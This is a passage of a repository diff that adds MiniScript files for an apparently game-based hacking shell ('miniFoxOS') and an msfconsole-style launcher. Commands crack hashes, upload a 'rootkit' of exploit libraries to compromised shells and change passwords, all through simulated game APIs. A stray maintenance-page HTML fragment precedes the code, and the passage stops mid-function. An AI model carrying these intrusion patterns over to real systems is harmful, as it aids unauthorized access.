body { font: 20px Helvetica, sans-serif; color: #333; }
article { display: block; text-align: left; width: 650px; margin: 0 auto; }
html{
background-color: whitesmoke;
height:100%;
}
</style>
<article>
<h1>We will be back soon!</h1>
<div>
<p>Sorry for the inconvenience but we are performing some maintenance at the moment. We will be back online shortly!</p>
<p>The Team</p>
</div>
</article>
</body>
</html>

131
minifoxos.src Normal file
View file

@ -0,0 +1,131 @@
minifox=function(shell,user)
import_code("/root/minifoxcmds")
globals.origShell=0
globals.clipboard=0
shelltype=typeof(shell)
if shelltype == "shell" then
comp=shell.host_computer
else
comp=shell
end if
globals.xuser=user
globals.rfile=comp.File("/root")
if xuser == "root" then globals.xpath="/root" else globals.xpath="/home/"+xuser
if not comp.File(xpath) then globals.xpath="/"
getPath=function(path)
path=path.split("/")
cpath=xpath.split("/")
if cpath.join("/") == "/" then cpath=[""]
if path[0] == "" then cpath=[""]
if path[0] == "#" and home != "/" then cpath=home.split("/")
for p in path
if p == "" then continue
if p == "#" then continue
if p == "." then
check=null
if shelltype == "file" then check=getFile((cpath+[p]).join("/")) else check=comp.File((cpath+[p]).join("/"))
if not check then continue
end if
if p == ".." then
cpath.pop
continue
end if
cpath.push(p)
end for
cpath=cpath.join("/")
if cpath == "" then cpath="/"
return cpath
end function
print("<color=#6a855e>-={ miniFoxOS }=-</color>")
print("<color=#6a855e>Type ""help"" for commands list")
fssh=function()
while 1
shelltype=typeof(shell)
if shelltype == "shell" then
comp=shell.host_computer
sstat="Shell"
else
comp=shell
sstat="Computer"
end if
pubip=comp.public_ip
locip=comp.local_ip
display="\n<color=#445239>[</color><color=#6a855e>"+sstat+"</color><color=#445239>] [</color><color=#6a855e>"+locip+"</color><color=#445239>]</color>"
if xuser == "root" then home="/root" else home="/home/"+xuser
if not comp.File(home) then home="/"
displaypath=xpath
if home != "/" then
displaypath=xpath.split("/")[:home.split("/").len].join("/")
if displaypath == home then displaypath="~"+([""]+xpath.split("/")[home.split("/").len:]).join("/") else displaypath=xpath
end if
display=display+"\n<color=#445239>[</color><color=#6A855E>"+xuser+"@"+pubip+"</color><color=#445239>:</color><color=#6A855E>"+displaypath+"</color><color=#445239>]</color><color=white>~$ "
pipe=[]
prompt=[]
next=[]
prompt=user_input(display).split(" ")
if prompt[0] == "|" then continue
if prompt.indexOf("|") >= 0 then
prompt.push("|")
while prompt.len
pipe.push(prompt[:prompt.indexOf("|")])
prompt=prompt[prompt.indexOf("|"):][1:]
end while
else
pipe.push(prompt[0:])
end if
while pipe.len
dbfile=null
shelltype=typeof(shell)
if shelltype == "shell" then
comp=shell.host_computer
else if shelltype == "computer" then
comp=shell
end if
pubip=comp.public_ip
locip=comp.local_ip
prompt=pipe.pull
if next.len then prompt.push(next.pull)
if prompt[0] == "" or prompt[0] == "0" or not prompt[0] then continue
i=0
for el in prompt
if el == "" then prompt[i]=0
i=i+1
end for
if prompt[0] == "!!" then prompt=previous
previous=prompt
args=prompt[1:]
comm=prompt[0]
if comm == "exit" then return "exit"
if cmds.hasIndex(comm) then
f=@cmds[comm]
if clipboard then
for inp in args
if typeof(clipboard) == "string" and inp == "copyv" then args[args.indexOf(inp)] = clipboard
if typeof(clipboard) == "map" and clipboard.hasIndex(inp) then args[args.indexOf(inp)] = clipboard[inp]
end for
end if
out=f(args)
if out.bool == 1 then
if pipe.len then next.push(out.out) else print("<color=#6A855E>:> "+out.out+"</color>")
else if out.bool == 0 then
print("<color=#6A855E>:> "+out.err+"</color>")
break
end if
if out.bool == 3 then break
end if
end while
end while
end function
while 1
if fssh == "exit" then return
end while
end function

891
minifoxoscmds.src Normal file
View file

@ -0,0 +1,891 @@
cmds={}
helplist={}
//defaults
helplist.defaults="-=Defaults=-"
helplist.help={"params": "[command]", "usage": "List all commands, or list command usage!"}
helplist.exit={"params": "N/A", "usage": "Go back a shell, or exit FoxOS"}
helplist.clr={"params": "N/A", "usage": "Clears the screen"}
//text controls
helplist.text="-=Text=-"
helplist.vim={"params": "[file]", "usage": "Text editor"}
helplist.cat={"params": "[path]", "usage": "Get the contents of a file"}
helplist.pwd={"params": "N/A", "usage": "Outputs current directory"}
helplist.whoami={"params": "N/A", "usage": "Outputs current user"}
helplist.whereami={"params": "N/A", "usage": "Outputs current public IP address"}
helplist.echo={"params": "[string]", "usage": "Echos input as joined output"}
helplist.grep={"params": "[searchTerm][string]", "usage": "Finds the line containing the search term"}
helplist.crack={"params": "[hash]", "usage": "Crack a password hash"}
//file controls
helplist.files="-=Files=-"
helplist.ls={"params": "[path]", "usage": "Lists files"}
helplist.tree={"params": "N/A", "usage": "Lists the entire file system along with file vulnerabilities"}
helplist.cd={"params": "[path]", "usage": "Changes working directory"}
helplist.mv={"params": "[file][newPath]", "usage": "Moves files"}
helplist.cp={"params": "[file][newPath]", "usage": "Copies files"}
helplist.mkdir={"params": "[path]", "usage": "Creates a folder"}
helplist.touch={"params": "[path]", "usage": "Create a text file"}
helplist.build={"params": "[src][path]", "usage": "Builds a source file"}
helplist.rm={"params": "[file]", "usage": "Deletes files"}
helplist.chmod={"params": "[file][perms][-r]", "usage": "Changes the permission levels of a file"}
helplist.chown={"params": "[file][owner][-r]", "usage": "Changes the owner of a file"}
helplist.chgrp={"params": "[file][group][-r]", "usage": "Changes the group of a file"}
helplist.useradd={"params": "[user][password]", "usage": "Adds a new user"}
helplist.userdel={"params": "[user]", "usage": "Deletes a user"}
helplist.groups={"params": "[user]", "usage": "List users groups"}
helplist.groupadd={"params": "[user][group]", "usage": "Adds user to group"}
helplist.groupdel={"params": "[user][group]", "usage": "Removes user from group"}
//device controls
helplist.devices="-=Devices=-"
helplist.passwd={"params": "[user][password]", "usage": "Change users password"}
helplist.run={"params": "[file][params]", "usage": "Runs a CLI program"}
helplist.ps={"params": "N/A", "usage": "Lists processes"}
helplist.kill={"params": "[PID/all]", "usage": "Terminates a running process"}
//network controls
helplist.network="-=Network=-"
helplist.shell={"params": "[-y/-s]", "usage": "Starts a terminal on the connected system"}
helplist.rootkit={"params": "[-s]", "usage": "Uploads root attack kit"}
helplist.up={"params": "[file][path]", "usage": "Uploads a file"}
helplist.dl={"params": "[file][path]", "usage": "Downloads a file"}
//clipboard controls
helplist.clipboard="-=Clipboard=-"
helplist.copy={"params": "[name][string]", "usage": "Copies text to the clipboard"}
helplist.ccopy={"params": "N/A", "usage": "Clears the clipboard"}
cmds.help=function(sin)
out={}
out.bool=2
if sin.len then
if helplist.hasIndex(sin[0]) then
print("<color=#445239>"+sin[0]+"</color>")
print("<color=#6a855e>"+helplist[sin[0]].params+"</color>")
print("<color=#6a855e>"+helplist[sin[0]].usage+"</color>")
end if
return out
end if
output=[]
l=["<color=#445239>Command","Usage</color>"]
output.push(l.join(" "))
for i in helplist.indexes
if typeof(helplist[i]) == "string" then
output.push("\n<color=#445239>"+helplist[i]+"</color>\n")
else
l=["<color=#445239>"+i+"</color>","<color=#6a855e>"+helplist[i].params+"</color>"]
output.push(l.join(" "))
end if
end for
print(format_columns(output.join("\n")))
return out
end function
cmds.clr=function(sin)
out={}
out.bool=2
clear_screen
return out
end function
cmds.crack=function(sin)
out={}
out.bool=1
if sin.len != 1 then return error("Invalid parameters")
out.out=decipher(scp,sin[0])
return out
end function
cmds.ls=function(sin)
out={}
out.bool=2
if sin.len > 1 then return error("Invalid parameters")
if sin.len == 1 then
file=comp.File(getPath(sin[0]))
else
file=comp.File(xpath)
end if
if not file then return error("Path does not exist")
if not file.is_folder then return error("Not a folder")
output=[]
l=["<color=#6a855e>"+file.name, file.owner, file.group, file.size, file.permissions+"</color>"]
output.push(l.join(" "))
l=["<color=#6a855e>[Name]","[Owner]","[Group]","[Size]","[Permissions]</color>\n"]
output.push(l.join(" "))
for f in file.get_folders+file.get_files
l=[]
l.push("<color=#6a855e>"+f.name)
l.push(f.owner)
l.push(f.group)
l.push(f.size)
l.push(f.permissions+"</color>")
output.push(l.join(" "))
end for
print(format_columns(output.join("\n")))
return out
end function
cmds.cd=function(sin)
out={}
out.bool=2
if sin.len > 1 then return error("Invalid parameters")
if sin.len == 0 then
globals.xpath=home
return out
end if
path=getPath(sin[0])
file=comp.File(path)
if not file then return error("Path does not exist")
if not file.is_folder then return error("Not a folder")
globals.xpath=path
return out
end function
cmds.cat=function(sin)
out={}
out.bool=1
if sin.len != 1 then return error("Invalid parameters")
path=getPath(sin[0])
file=comp.File(path)
if not file then return error("File does not exist")
if not file.has_permission("r") then return error("No permissions to file")
if file.is_folder or file.is_binary then return error("Binary file, cannot read")
out.out=file.get_content
return out
end function
cmds.grep=function(sin)
out={}
out.bool=2
if sin.len != 2 then return error("Invalid parameters")
sin[1]=sin[1].split("\n")
num=0
for l in sin[1]
if l.indexOf(sin[0]) != null then
if pipe.len then
out.bool=1
out.out=l
return out
end if
print("<color=#6A855E>["+num+"] "+l+"</color>")
num=num+1
end if
end for
if not num then
out.bool=0
out.err="Could not find "+sin[0]
end if
return out
end function
cmds.echo=function(sin)
out={}
out.bool=1
if sin.len == 0 then return error("Invalid parameters")
out.out=sin.join(" ")
return out
end function
cmds.mkdir=function(sin)
out={}
out.bool=2
if sin.len != 1 then return error("Invalid parameters")
path=getPath(sin[0])
name=path.split("/")[-1]
if comp.File(path) then return error("Folder exists")
path=parent_path(path)
if not comp.File(path) then return error("Path does not exist")
if not comp.File(path).is_folder then return error("Not a folder")
if not comp.File(path).has_permission("w") then return error("No permissions to path")
comp.create_folder(path,name)
print("<color=#6a855e>:> Folder created successfully</color>")
return out
end function
cmds.touch=function(sin)
out={}
out.bool=2
if sin.len != 1 then return error("Invalid parameters")
path=getPath(sin[0])
name=path.split("/")[-1]
if comp.File(path) then return error("File exists")
path=parent_path(path)
if not comp.File(path) then return error("Path does not exist")
if not comp.File(path).is_folder then return error("Not a folder")
if not comp.File(path).has_permission("w") then return error("No permissions to path")
comp.touch(path,name)
print("<color=#6a855e>:> File created successfully</color>")
return out
end function
cmds.mv=function(sin)
out={}
out.bool=2
if sin.len != 2 then return error("Invalid parameters")
origFile=getPath(sin[0])
destFolder=getPath(sin[1])
file=comp.File(origFile)
if not file then return error("File does not exist")
folder=comp.File(destFolder)
name=""
if not folder then
pathParent=parent_path(destFolder)
if pathParent == destFolder then
name=destFolder
file.move(parent_path(file.path),name)
return out
else
folder=comp.File(pathParent)
name=destFolder[destFolder.len-(destFolder.len-pathParent.len):]
if name[0] == "/" then name=name[1:]
if not folder then return error("Path does not exist")
end if
end if
if folder then
if parent_path(file.path) != parent_path(folder.path) or file.name != folder.name then
finalDest=folder.path
if name.len == 0 then name=file.name
if not folder.is_folder then
finalDest=parent_path(file.path)
name=folder.name
end if
file.move(finalDest,name)
end if
end if
print("<color=#6a855e>:> File moved successfully</color>")
return out
end function
cmds.cp=function(sin)
out={}
out.bool=2
if sin.len != 2 then return error("Invalid parameters")
origFile=getPath(sin[0])
destFolder=getPath(sin[1])
file=comp.File(origFile)
if not file then return error("File does not exist")
folder=comp.File(destFolder)
name=""
if not folder then
pathParent=parent_path(destFolder)
if pathParent == destFolder then
name=destFolder
destFolder=file.parent.path
file.copy(destFolder,name)
return out
else
folder=comp.File(pathParent)
name=destFolder[destFolder.len-(destFolder.len-pathParent.len):]
if name[0] == "/" then name=name[1:]
if not folder then return error("Path does not exist")
end if
end if
if folder then
if parent_path(file.path) != parent_path(folder.path) or file.name != folder.name then
finalDest=folder.path
if name.len == 0 then name=file.name
if not folder.is_folder then
finalDest=parent_path(file.path)
name=folder.name
end if
file.copy(finalDest,name)
end if
end if
print("<color=#6A855E>:> File copied successfully</color>")
return out
end function
cmds.build=function(sin)
out={}
out.bool=2
if shelltype != "shell" then return error("Cannot build programs with a computer object")
if sin.len > 2 or sin.len == 0 then return error("Invalid parameters")
source=getPath(sin[0])
dest=xpath
if sin.hasIndex(1) then dest=getPath(sin[1])
source=comp.File(source)
dest=comp.File(dest)
if not source then return error("Invalid source code file")
if not dest then return error("Invalid destination path")
output=shell.build(source.path,dest.path)
if output.len == 0 then
print("<color=#6a855e>:> Build successful</color>")
else
out.bool=0
out.err=output
end if
return out
end function
cmds.rm=function(sin)
out={}
out.bool=2
if sin.len != 1 then return error("Invalid parameters")
path=getPath(sin[0])
file=comp.File(path)
if not file then return error("Path does not exist")
if not file.has_permission("w") then return error("No permissions to file")
f=comp.File(parent_path(path))
if not f.has_permission("w") then return error("No permissions to path")
if file.path == xpath then globals.xpath == parent_path(xpath)
file.delete
print("<color=#6a855e>:> File deleted successfully</color>")
return out
end function
cmds.chmod=function(sin)
out={}
out.bool=2
if sin.len < 2 or sin.len > 3 then return error("Invalid parameters")
perms=sin[1]
path=getPath(sin[0])
if sin.len != 3 then rec=0 else rec=1
file=comp.File(path)
if not file then return error("Path does not exist")
if not file.has_permission("w") and file.owner != xuser then return error("No permissions to file")
if perms.indexOf("+") != null then
perms=[perms[:perms.indexOf("+")],perms[perms.indexOf("+"):]]
else if perms.indexOf("-") != null then
perms=[perms[:perms.indexOf("-")],perms[perms.indexOf("-"):]]
else
return error("Invalid parameters")
end if
if not perms[0] then perms[0]="oug"
for perm in perms[0]
file.chmod(perm+perms[1],rec)
end for
print("<color=#6a855e>:> chmod successful</color>")
return out
end function
cmds.chown=function(sin)
out={}
out.bool=2
if sin.len < 2 or sin.len > 3 then return error("Invalid parameters")
owner=sin[1]
path=getPath(sin[0])
if sin.len != 3 then rec=0 else rec=1
file=comp.File(path)
if not file then return error("Path does not exist")
if not file.has_permission("w") and file.owner != xuser then return error("No permissions to file")
file.set_owner(owner,rec)
print("<color=#6a855e>:> Owner changed successfully</color>")
return out
end function
cmds.chgrp=function(sin)
out={}
out.bool=2
if sin.len < 2 or sin.len > 3 then return error("Invalid parameters")
group=sin[1]
path=getPath(sin[0])
if sin.len != 3 then rec=0 else rec=1
file=comp.File(path)
if not file then return error("Path does not exist")
if not file.has_permission("w") and file.owner != xuser then return error("No permissions to file")
file.set_group(group,rec)
print("<color=#6a855e>:> Group changed successfully</color>")
return out
end function
cmds.passwd=function(sin)
out={}
out.bool=2
if sin.len != 2 then return error("Invalid parameters")
output=comp.change_password(sin[0],sin[1])
if output==true then print("<color=#6a855e>:> Password for "+sin[0]+" changed to "+sin[1]+"</color>")
if typeof(output) == "string" then
out.bool=0
out.err=output
end if
return out
end function
cmds.useradd=function(sin)
out={}
out.bool=2
if sin.len != 2 then return error("Invalid parameters")
output=comp.create_user(sin[0],sin[1])
if output==true then print("<color=#6a855e>:> User "+sin[0]+" created</color>")
if typeof(output) == "string" then
out.bool=0
out.err=output
end if
return out
end function
cmds.userdel=function(sin)
out={}
out.bool=2
if sin.len != 1 then return error("Invalid parameters")
output=comp.delete_user(sin[0],1)
if output==true then print("<color=#6a855e>:> User "+sin[0]+" deleted</color>")
if typeof(output) == "string" then
out.bool=0
out.err=output
end if
return out
end function
cmds.groups=function(sin)
out={}
out.bool=2
if sin.len != 1 then return error("Invalid parameters")
output=comp.groups(sin[0])
if not output then return out
print(output)
return out
end function
cmds.groupadd=function(sin)
out={}
out.bool=2
if sin.len != 2 then return error("Invalid parameters")
output=comp.create_group(sin[0],sin[1])
if output==true then
print("<color=#6a855e>:> "+sin[1]+" added to user "+sin[0]+"</color>")
return out
end if
out.bool=0
out.err=output
return out
end function
cmds.groupdel=function(sin)
out={}
out.bool=0
if sin.len != 2 then return error("Invalid parameters")
output=comp.delete_group(sin[0],sin[1])
if output==true then
print("<color=#6a855e>:> "+sin[1]+" removed from user "+sin[0]+"</color>")
return out
end if
out.bool=0
out.err=output
return out
end function
cmds.run=function(sin)
out={}
out.bool=2
if shelltype != "shell" then return error("Cannot run programs with a computer object")
if sin.len == 0 then return error("Invalid parameters")
path=getPath(sin[0])
prog=path
if not comp.File(prog) then return error("File does not exist")
if not comp.File(prog).has_permission("x") then return error("No permissions to file")
sin.pull
xparams=sin.join(" ")
shell.launch(prog,xparams)
return out
end function
cmds.ps=function(sin)
out={}
out.bool=2
bar = function(n, bar_length = 35) // percentage number
fill_count = ceil(n / bar_length * 10)
empty_count = bar_length - fill_count
fill_bar = "#"*fill_count
empty_bar = "-"*empty_count
bar = "<color=#21bcff>"+fill_bar+"</color><color=#032e41>"+empty_bar+"</color>"
return bar
end function
ps_out = comp.show_procs
tasks = 0
cpu_load = 0.0
mem_load = 0.0
users = []
// convert ps output to a map
counter = 0
for l in ps_out.split("\n")[1:]
l = l.split(" ")
cpu_load = cpu_load + l[2][:-1].val
mem_load = mem_load + l[3][:-1].val
if l[0] == "root" then
u = "<color=#ff4b4b>"+l[0]+"</color>"
else
u = "<color=#445239>"+l[0]+"</color>"
end if
n = "<color=#20ff98>"+l[1]+"</color>"
c = "<color=#21bcff>"+l[2]+"</color>"
m = "<color=#21bcff>"+l[3]+"</color>"
p = "<color=#baff50>"+l[4]+"</color>"
//if l[4] == "fstab" then continue
im=0
for i in users
if i.u == u then
i.t.push({"n": n, "c": c, "m": m, "p": p})
im=1
end if
end for
if not im then
mp={}
mp.u=u
mp.t=[]
mp.t.push({"n": n, "c": c, "m": m, "p": p})
users.push(mp)
end if
tasks=tasks+1
end for
print("<color=#fbfbfb>tasks: "+tasks+"</color>")
if tasks > 0 then
print("<color=#fbfbfb>cpu_usage: [</color>"+bar(cpu_load)+"<color=#fbfbfb>]==[ </color><color=#21bcff>"+cpu_load+"%</color> <color=#fbfbfb>]</color>")
print("<color=#fbfbfb>mem_usage: [</color>"+bar(mem_load)+"<color=#fbfbfb>]==[ </color><color=#21bcff>"+mem_load+"%</color> <color=#fbfbfb>]</color>\n")
end if
// print ps with colors
pps = []
ps = ps_out.split("\n")
print("<color=#9d9d9d>-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-</color>")
for m in users
pps.push(m.u)
for t in m.t
l=[t.n, t.c, t.m, t.p]
pps.push(l.join(" "))
end for
pps.push("<color=#9d9d9d>X</color>")
end for
print(format_columns(pps.join("\n")))
return out
end function
cmds.kill=function(sin)
out={}
out.bool=2
if sin.len != 1 then return error("Invalid parameters")
if sin[0] == "all" then
procs=comp.show_procs.split("\n")
procs.pull
for proc in procs
proc=proc.split(" ")
if proc[-1] == lunar.split("/")[-1] and origShell == 1 then continue
output=comp.close_program(proc[1].to_int)
if output==true then print("<color=#6a855e>:> Killed process "+proc[1]+"</color>")
if typeof(output) == "string" then print("<color=#6a855e>:> "+output+"</color>")
wait(0.1)
end for
return out
end if
output=comp.close_program(sin[0].to_int)
if output==true then
print("<color=#6a855e>:> Killed process "+sin[0]+"</color>")
return out
end if
if output then return error(output)
out.bool=0
out.err="Process "+sin[0]+" not found"
return out
end function
cmds.shell=function(sin)
out={}
out.bool=2
if shelltype != "shell" then return error("Cannot start terminal on a computer object")
if sin.len > 1 then return error("Invalid parameters")
if sin.len == 1 and comp.File(xpath) and comp.File(xpath).has_permission("w") then
print("<color=#6a855e>:> Uploading FoxTrot</color>\n")
get_shell.scp(foxtrot,xpath,shell)
print("<color=#6a855e>:> Uploading metaxploit</color>\n")
get_shell.scp(mxf,xpath,shell)
print("<color=#6a855e>:> Uploading crypto</color>\n")
get_shell.scp(cpf,xpath,shell)
if scnln and sin[0].indexOf("s") != null then
print("<color=#6a855e>:> Uploading ScanLan</color>\n")
get_shell.scp(scnln,xpath,shell)
end if
end if
print("<color=#6a855e>:> Starting shell at "+comp.public_ip+", come back soon!</color>")
shell.start_terminal
return out
end function
cmds.up=function(sin)
out={}
out.bool=2
if shelltype != "shell" then return error("Cannot upload files to a computer object")
if sin.len < 1 or sin.len > 2 then return error("Invalid parameters")
if not get_shell.host_computer.File(sin[0]) then return error("File does not exist")
if not get_shell.host_computer.File(sin[0]).has_permission("r") then return error("No permissions to file")
if sin.len == 2 then path=getPath(sin[1]) else path=xpath
if not comp.File(path) then return error("Path does not exist")
if not comp.File(path).has_permission("w") then return error("No permissions to path")
get_shell.scp(sin[0],path,shell)
return out
end function
cmds.dl=function(sin)
out={}
out.bool=2
if shelltype != "shell" then return error("Cannot download files from a computer object")
if sin.len < 1 or sin.len > 2 then return error("Invalid parameters")
path=getPath(sin[0])
if not comp.File(path) then return error("File does not exist")
if not comp.File(path).has_permission("r") then return error("No permissions to file")
if sin.len == 2 then lpath=sin[1] else lpath=current_path
if not comp.File(lpath) then return error("Path does not exist")
if not comp.File(lpath).has_permission("w") then return error("No permissions to path")
shell.scp(path,lpath,get_shell)
return out
end function
cmds.vim=function(sin)
out={}
out.bool=2
if sin.len != 1 then return error("Invalid parameters")
file=comp.File(getPath(sin[0]))
if not file then return error("File does not exist")
if file.is_binary or file.is_folder then return error("Binary file, cannot edit")
if not file.has_permission("w") then return error("No permissions to file")
cont=file.get_content.split("\n")
while 1
print("<color=#6a855e>-=-= FoxTrot - "+file.path+" =-=-</color>")
for i in range(0,cont.len-1)
print(i+"|"+cont[i])
end for
print("<color=#6a855e>< nl - [line#] q - quit c - clear file ></color>")
sel=user_input("line#> ")
if sel.lower == "q" then break
if sel.lower == "c" then
cont=[""]
file.set_content("")
end if
sel=sel.to_int
if typeof(sel) != "number" and sel.split(" ")[0] == "nl" then
if sel.split(" ").len != 2 then continue
sel=sel.split(" ")[1].to_int
if typeof(sel) != "number" then continue
if sel < -1 or sel > cont.len then continue
newcont=[]
if sel == -1 then
newcont.push("")
newcont=newcont+cont
else
for i in range(0,cont.len-1)
newcont.push(cont[i])
if i == sel then newcont.push("")
end for
end if
cont=newcont
file.set_content(cont.join(char(10)))
continue
end if
if sel < 0 or sel > cont.len then continue
currLine=cont[sel]
while 1
print("<color=#6a855e>-=-= Line "+sel+" =-=-</color>\n"+currLine)
print("<color=#6a855e>< :w to save :q to quit :d to delete line ></color>")
edit=user_input("> ")
if edit.lower == ":q" then
print("Quitting")
else if edit.lower == ":w" then
cont[sel]=currLine
file.set_content(cont.join(char(10)))
print("Saved")
print("Quitting")
else if edit.lower == ":d" then
cont.remove(sel)
file.set_content(cont.join(char(10)))
print("Saved")
print("Quitting")
else
currLine=edit
end if
if edit.lower == ":w" or edit.lower == ":q" or edit.lower == ":d" then break
end while
end while
print("<color=#6a855e>Quitting</color>")
return out
end function
cmds.rootkit=function(sin)
out={}
out.bool=2
if shelltype != "shell" then return error("Cannot upload rootkit to a computer object")
print("<color=#6a855e>:> Uploading FoxTrot</color>\n")
get_shell.scp(foxtrot,xpath,shell)
print("<color=#6a855e>:> Uploading metaxploit</color>\n")
get_shell.scp(mxf,xpath,shell)
print("<color=#6a855e>:> Uploading crypto</color>\n")
get_shell.scp(cpf,xpath,shell)
if scnln and sin.len == 1 and sin[0].indexOf("s") != null then
print("<color=#6a855e>:> Uploading ScanLan</color>\n")
get_shell.scp(scnln,xpath,shell)
end if
return out
end function
cmds.pwd=function(sin)
out={}
out.bool=1
out.out=xpath
return out
end function
cmds.whoami=function(sin)
out={}
out.bool=1
out.out=xuser
return out
end function
cmds.whereami=function(sin)
out={}
out.bool=1
out.out=pubip
return out
end function
cmds.tree=function(sin)
out={}
out.bool=2
root=comp.File("/")
safeFiles=[]
newFile={}
newFile.path=root.path
newFile.indent=0
newFile.perms=root.permissions
newFile.own=root.owner
newFile.grp=root.group
newFile.size=root.size
safeFiles.push(newFile)
newFiles=[]
newFiles=newFiles+root.get_folders+root.get_files
while newFiles.len
alreadyIn=0
currFile=newFiles.pull
for i in safeFiles
if i.path == currFile.path then alreadyIn=1
end for
if alreadyIn then continue
newFile={}
newFile.path=currFile.path
newFile.indent=currFile.path.split("/")[1:].len
newFile.perms=currFile.permissions
newFile.own=currFile.owner
newFile.grp=currFile.group
newFile.size=currFile.size
safeFiles.push(newFile)
if currFile.is_folder then
newFiles=currFile.get_folders+currFile.get_files+newFiles
end if
end while
default="<color=#6a855e>[owner/group/size/perms]</color> path"
default=default.replace("group","</color>group<color=#6a855e>")
default=default.replace("size","</color>size<color=#6a855e>")
for file in safeFiles
indent=" "*file.indent
string=indent+default
if file.own == "root" then
string=string.replace("owner","</color><color=red>owner</color><color=#6a855e>")
else
string=string.replace("owner","</color><color=green>owner</color><color=#6a855e>")
end if
string=string.replace("owner",file.own)
string=string.replace("group",file.grp)
string=string.replace("size",file.size)
p=file.perms[1:]
up=p[:3]
gp=p[3:-3]
op=p[-3:]
upn=0
gpn=0
opn=0
if up.indexOf("r") != null then upn=upn+1
if up.indexOf("w") != null then upn=upn+1
if up.indexOf("x") != null then upn=upn+1
if gp.indexOf("r") != null then gpn=gpn+1
if gp.indexOf("w") != null then gpn=gpn+1
if gp.indexOf("x") != null then gpn=gpn+1
if op.indexOf("r") != null then opn=opn+1
if op.indexOf("w") != null then opn=opn+1
if op.indexOf("x") != null then opn=opn+1
if upn == 1 then
up="<color=yellow>"+up+"</color>"
else if upn == 2 then
up="<color=yellow>"+up+"</color>"
else if upn == 3 then
up="<color=green>"+up+"</color>"
else
up="<color=red>"+up+"</color>"
end if
if gpn == 1 then
gp="<color=yellow>"+gp+"</color>"
else if gpn == 2 then
gp="<color=yellow>"+gp+"</color>"
else if gpn == 3 then
gp="<color=green>"+gp+"</color>"
else
gp="<color=red>"+gp+"</color>"
end if
if opn == 1 then
op="<color=yellow>"+op+"</color>"
else if opn == 2 then
op="<color=yellow>"+op+"</color>"
else if opn == 3 then
op="<color=green>"+op+"</color>"
else
op="<color=red>"+op+"</color>"
end if
string=string.replace("perms","</color>"+file.perms[0]+up+gp+op+"<color=#6a855e>")
string=string.replace("path",file.path.split("\n")[-1])
print(string)
end for
return out
end function
cmds.copy=function(sin)
out={}
out.bool=2
if not sin.len then return error("Invalid parameters")
if sin.len == 1 then
globals.clipboard=sin[0]
print("<color=#6a855e>:> "+sin[0]+" saved to clipboard</color>")
end if
if sin.len > 1 then
if typeof(clipboard) != "map" then globals.clipboard={}
clipboard[sin[0]]=sin[1:].join(" ")
print("<color=#6a855e>:> "+sin[1:].join(" ")+" added to clipboard index "+sin[0]+"</color>")
end if
return out
end function
cmds.ccopy=function(sin)
out={}
out.bool=2
globals.clipboard=0
print("<color=#6a855e>:> Clipboard cleared</color>")
return out
end function

427
msfconsole.src Normal file
View file

@ -0,0 +1,427 @@
ver="0.0.1"
mxf="/lib/metaxploit.so"
if not get_shell.host_computer.File(mxf) then mxf=current_path+"/metaxploit.so"
if not get_shell.host_computer.File(mxf) then exit("Metaxploit.so not found in /lib or current path")
mx=include_lib(mxf)
cpf="/lib/crypto.so"
if not get_shell.host_computer.File(cpf) then cpf=current_path+"/crypto.so"
if not get_shell.host_computer.File(cpf) then exit("Crypto.so not found in /lib or current path")
cp=include_lib(cpf)
apt=include_lib("/lib/aptclient.so")
msc=program_path
//if apt then
// sources=get_shell.host_computer.File("/etc/apt/sources.txt")
// if sources and sources.has_permission("r") then
// inSource=0
// minSource=0
// sources=sources.get_content.split("\n")
// for source in sources
// source=source.split(":")
// if source[0] == " ""15.15.15.15""" then inSource=1
// if source[0] == " ""72.248.196.250""" then inSource=1
// end for
// if not inSource then
// apt.add_repo("15.15.15.15",1542)
// apt.update
// end if
// //if not minSource then
// //apt.add_repo("72.248.196.250",1542)
// //apt.update
// //end if
// //out=apt.check_upgrade(msc)
// outm=apt.check_upgrade(mxf)
// //if out then
// //print("Updating Metasploit\n")
// //apt.install("msfc",parent_path(msc))
// //end if
// if outm then
// print("Updating Metaxploit.so\n")
// apt.install("metaxploit.so",parent_path(mxf))
// end if
// end if
//end if
logos=get_shell.host_computer.File(current_path+"/logos.src")
if not logos then
get_shell.host_computer.touch(current_path,"logos.src")
logos=get_shell.host_computer.File(current_path+"/logos.src")
end if
logos=logos.get_content.split("//logo/")
logos.remove("")
newlogos=[]
for logo in logos
logo=logo.split("\n")
logo.pull
if logo[-1] == "" then logo.pop
logo=logo.join("\n")
newlogos.push(logo)
end for
logos=newlogos
num=floor(rnd()*logos.len)
print(logos[num])
shiftChars=function(pass,shift,list)
enc=""
for chr in pass
newChar=shift[list.indexOf(chr)]
enc=enc+newChar
end for
return enc
end function
encrypt = function(pass,type)
allowedChars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/_.@=!#$%^&*()-+\|?<>"
shiftedChars="W/d.YMF6Ua+bP2DZ^ch>&SkB#m1ITwynO\=HN*pjvQfu5A8CRx4L%G|Ji<()r0q7t@goXE_$sl?ezK!V93-"
shiftedCharsZERO="dk>I&T(s9RU4^-)h=a\g#LYQbXzlnV5<*AMu.KBvo2e6C_DJ3x0cHwpt%$SPiyZE!WN|OrGf+?7mq8@j/1F"
shiftedCharsONE="^y76twkU.mca!q*QPL+/|eJ3zOX9(p4Vvh)80R=BK-1<In$D>HZWl52MYu@\_sg%#rdEiTG?AojF&fbNCxS"
shiftedCharsTWO="*ly8e7DqW(mL\4<1F%MiS296TNwEZoI_p=rbVtc0?Pkh/K#&BXua@|-$fHG3.QCJOYjz!+>RxA5^sgnUvd)"
shiftedCharsTHREE="HxR>EQqKt/WCrBl_TikyDAY6g9wen1sMG)|OPSa8z-F+.p0^37V&L2d(*joUc<@Z!f54?INmuXvJ$b%h\=#"
shiftedCharsFOUR="42gUiwe%IJT>CFVlLkm8G-W0b1pBD^AoxPcz5d\|YsjE/3Nt$)_HyhnR&+<=a(QS.Mq9#*?@Z76v!rKXufO"
passLen=pass.len
if type == "enc" then
if passLen < 5 then
pass=pass+"/30291949172649172647158"
shifted=shiftChars(pass,shiftedCharsZERO,allowedChars)+"0"
end if
if passLen > 5 or passLen == 5 then
pass=pass+"/14018738716961863141344"
shifted=shiftChars(pass,shiftedCharsONE,allowedChars)+"1"
end if
if passLen == 10 then
pass=pass+"/10210849175165987169487"
shifted=shiftChars(pass,shiftedCharsTWO,allowedChars)+"2"
end if
if passLen > 10 then
pass=pass+"/02910841705671976198764"
shifted=shiftChars(pass,shiftedCharsTHREE,allowedChars)+"3"
end if
